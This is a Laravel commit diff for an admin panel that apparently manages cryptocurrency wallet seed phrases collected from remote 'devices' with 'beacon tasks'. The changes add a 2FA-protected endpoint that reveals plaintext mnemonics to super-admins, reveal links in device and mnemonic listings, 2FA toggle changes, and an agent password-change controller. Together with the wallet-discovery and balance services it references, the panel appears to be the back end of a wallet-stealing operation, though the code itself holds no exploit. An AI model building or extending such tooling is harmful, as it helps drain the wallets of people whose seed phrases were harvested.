feat: balance change
This commit is contained in:
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
@@ -124,6 +125,8 @@ class DeviceController extends Controller
|
||||
'addressChains' => $addressChains,
|
||||
'portal' => $this->portal(),
|
||||
'beaconTasks' => $device->beaconTasks,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -468,13 +471,16 @@ class DeviceController extends Controller
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (WalletMnemonic $w) {
|
||||
$canReveal = $this->canRevealMnemonics();
|
||||
$data = collect($paginator->items())->map(function (WalletMnemonic $w) use ($canReveal) {
|
||||
return [
|
||||
'id' => $w->id,
|
||||
'source' => $w->source ?: '',
|
||||
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
|
||||
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
|
||||
'can_reveal' => $canReveal,
|
||||
'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $w->id) : '',
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -674,4 +680,21 @@ class DeviceController extends Controller
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function canRevealMnemonics(): bool
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
return false;
|
||||
}
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->canRevealMnemonics();
|
||||
}
|
||||
|
||||
private function googleBoundForReveal(): bool
|
||||
{
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->hasGoogleBound();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,8 +17,8 @@ class Google2faController extends Controller
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return view('admin.security.google2fa', [
|
||||
'enabled' => (int) $admin->google_auth_open === 1,
|
||||
'bound' => filled($admin->google_secret),
|
||||
'enabled' => $admin->requiresLoginGoogle(),
|
||||
'bound' => $admin->hasGoogleBound(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -62,6 +62,7 @@ class Google2faController extends Controller
|
||||
$data = $request->validate([
|
||||
'GAKey' => ['required', 'string', 'max:16'],
|
||||
'GASecret' => ['required', 'string', 'max:64'],
|
||||
'login_verify' => ['nullable', 'integer', 'in:0,1'],
|
||||
], [
|
||||
'GAKey.required' => '请输入谷歌验证码',
|
||||
'GASecret.required' => '参数不完整',
|
||||
@@ -76,14 +77,20 @@ class Google2faController extends Controller
|
||||
return response()->json(['code' => 1, 'msg' => '绑定失败,验证码不正确']);
|
||||
}
|
||||
|
||||
$loginVerify = (int) ($data['login_verify'] ?? 0);
|
||||
$admin->forceFill([
|
||||
'google_auth_open' => 1,
|
||||
'google_auth_open' => $loginVerify,
|
||||
'google_secret' => $data['GASecret'],
|
||||
])->save();
|
||||
|
||||
$request->session()->forget('admin_google2fa_pending_secret');
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '绑定成功,下次登录将需要输入谷歌验证码']);
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => $loginVerify === 1
|
||||
? '绑定成功,下次登录需要输入谷歌验证码'
|
||||
: '绑定成功。登录不校验谷歌验证码;查看助记词明文仍需验证',
|
||||
]);
|
||||
}
|
||||
|
||||
public function toggle(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
||||
@@ -106,18 +113,18 @@ class Google2faController extends Controller
|
||||
}
|
||||
|
||||
$open = (int) $data['open'];
|
||||
if ($open === 0) {
|
||||
$code = (string) ($data['GACode'] ?? '');
|
||||
if (! $google2fa->verify((string) $admin->google_secret, $code)) {
|
||||
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||
}
|
||||
$code = (string) ($data['GACode'] ?? '');
|
||||
if (! $google2fa->verify((string) $admin->google_secret, $code)) {
|
||||
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||
}
|
||||
|
||||
$admin->forceFill(['google_auth_open' => $open])->save();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => $open === 1 ? '已开启谷歌验证' : '已关闭谷歌验证',
|
||||
'msg' => $open === 1
|
||||
? '已开启登录谷歌验证'
|
||||
: '已关闭登录谷歌验证(绑定仍保留,查看助记词仍需验证)',
|
||||
]);
|
||||
}
|
||||
|
||||
|
||||
@@ -4,9 +4,11 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use App\Services\MnemonicWalletDiscovery;
|
||||
use App\Services\WalletBalanceService;
|
||||
use App\Support\AgentScope;
|
||||
@@ -36,6 +38,8 @@ class MnemonicController extends Controller
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -56,7 +60,8 @@ class MnemonicController extends Controller
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
$canReveal = $this->canRevealMnemonics();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) {
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
@@ -68,6 +73,8 @@ class MnemonicController extends Controller
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
|
||||
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
|
||||
'can_reveal' => $canReveal,
|
||||
'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $row->id) : '',
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -79,6 +86,54 @@ class MnemonicController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function reveal(Request $request, WalletMnemonic $mnemonic, AdminGoogle2fa $google2fa)
|
||||
{
|
||||
/** @var Admin|null $admin */
|
||||
$admin = auth('admin')->user();
|
||||
if ($admin === null || ! $admin->canRevealMnemonics()) {
|
||||
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
|
||||
}
|
||||
if ($this->isAgentPortal() || ! $this->mnemonicAllowed($mnemonic)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
if (! $admin->hasGoogleBound()) {
|
||||
return response()->json(['code' => 1, 'msg' => '请先在「安全 → 谷歌验证」绑定,查看明文必须验证']);
|
||||
}
|
||||
|
||||
$data = $request->validate([
|
||||
'GACode' => ['required', 'string', 'max:16'],
|
||||
], [
|
||||
'GACode.required' => '请输入谷歌验证码',
|
||||
]);
|
||||
|
||||
$throttleKey = 'mnemonic-reveal:'.$admin->id;
|
||||
if (RateLimiter::tooManyAttempts($throttleKey, 8)) {
|
||||
$seconds = RateLimiter::availableIn($throttleKey);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '验证过于频繁,请 '.$seconds.' 秒后再试',
|
||||
], 429);
|
||||
}
|
||||
|
||||
if (! $google2fa->verify((string) $admin->google_secret, $data['GACode'])) {
|
||||
RateLimiter::hit($throttleKey, 60);
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||
}
|
||||
|
||||
RateLimiter::clear($throttleKey);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'id' => $mnemonic->id,
|
||||
'mnemonic' => (string) $mnemonic->mnemonic,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function wallets(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery)
|
||||
{
|
||||
if (! $this->mnemonicAllowed($mnemonic)) {
|
||||
@@ -146,6 +201,23 @@ class MnemonicController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
private function canRevealMnemonics(): bool
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
return false;
|
||||
}
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->canRevealMnemonics();
|
||||
}
|
||||
|
||||
private function googleBoundForReveal(): bool
|
||||
{
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->hasGoogleBound();
|
||||
}
|
||||
|
||||
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
|
||||
{
|
||||
$allowed = WalletMnemonic::query()
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Agent;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
|
||||
class PasswordController extends Controller
|
||||
{
|
||||
public function index()
|
||||
{
|
||||
return view('user.password', [
|
||||
'portal' => 'user',
|
||||
'username' => (string) (auth('agent')->user()?->username ?? ''),
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request): JsonResponse
|
||||
{
|
||||
/** @var User $user */
|
||||
$user = $request->user('agent');
|
||||
|
||||
$data = $request->validate([
|
||||
'current_password' => ['required', 'string'],
|
||||
'password' => ['required', 'string', 'min:6', 'max:128', 'confirmed'],
|
||||
], [
|
||||
'current_password.required' => '请填写当前密码',
|
||||
'password.required' => '请填写新密码',
|
||||
'password.min' => '新密码至少 6 位',
|
||||
'password.confirmed' => '两次输入的新密码不一致',
|
||||
]);
|
||||
|
||||
if (! Hash::check($data['current_password'], $user->password)) {
|
||||
return response()->json(['code' => 1, 'msg' => '当前密码不正确']);
|
||||
}
|
||||
|
||||
if (Hash::check($data['password'], $user->password)) {
|
||||
return response()->json(['code' => 1, 'msg' => '新密码不能与当前密码相同']);
|
||||
}
|
||||
|
||||
$user->password = $data['password'];
|
||||
$user->save();
|
||||
|
||||
$request->session()->regenerate();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '密码已更新']);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user